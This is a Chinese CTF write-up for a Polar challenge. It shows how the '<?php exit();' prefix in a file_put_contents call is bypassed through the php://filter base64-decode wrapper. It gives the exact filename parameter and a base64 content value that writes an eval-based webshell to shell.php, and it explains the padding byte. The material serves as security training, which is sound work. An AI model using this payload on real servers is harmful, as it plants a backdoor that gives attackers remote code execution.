polar 写shell

polar 写shell

image-20250401193750422

file_put_contents 函数 会把**<?php exit();”.$_POST[‘content’]** 存入到 $_GET[‘filename’] 文件里

但是这里的<?php exit(); 执行时就会直接先执行exit()退出了 导致我们后面的代码无法执行

这里就需要绕过一下exit();

这里是

php死亡exit()绕过

1
file_put_contents($filename,"<?php exit();".$content);

tips:伪协议处理时会对过滤器urldecode一次;面对不可用的规则是报个Warning,然后跳过继续执行

base64编码绕过

1
2
filename=php://filter/read/convert.base64-decode/resource=shell.php
content=aPD9waHAgcGhwaW5mbygpOz8+

利用php://filter 伪协议 先将 <?php exit();”.$content 也就是 <?php exit();aPD9waHAgcGhwaW5mbygpOz8+ 内容解码后再写入 shell.php 文件中

1
<?php phpinfo();?>`base64编码后为`PD9waHAgcGhwaW5mbygpOz8+

前面加个a的原因是base64解码以4个字节为1组转换为3个字节

前面的<?php exit(); 符合base64编码的只有phpexit这七个字节,因此添加一个字节来满足编码

<?php exit();a 就会被base64解密从而乱码,这样就不会被当成PHP代码执行了。

<? 空格 ; 为什么不算呢?

Base64 解码时,符号的处理方式

在 PHP 中,base64_decode() 只处理 Base64 允许的字符,即:

  • A-Z
  • a-z
  • 0-9
  • +/
  • =(填充符)

任何不在这个范围内的符号(例如空格、<, ?, ;):

  • 如果出现在 Base64 数据中,可能会被忽略、导致解码失败,或者返回 false(如果 strict 参数为 true)。
  • base64_decode() 不会把它们当作特殊字符处理,它只是单纯地按照 Base64 规则解析。

所以base解码并不会识别<? 空格 ; 也就是只有七个字节需要加一个字节来凑一下

ok 回到这道题

这里我们直接利用php://filter 伪协议 对其进行base64解码 来写入shell

?filename=php://filter/read/convert.base64-decode/resource=shell.php

post: content=aPD9waHAgQGV2YWwoJF9QT1NUWydhJ10pOz8+

image-20250401200553997

image-20250401200829019

这里访问shell.php 发现也就执行成功了 �^�+Z就是前面<?php exit();a 解码成的乱码

然后再利用写入的shell解题

image-20250401200941728

image-20250401201000257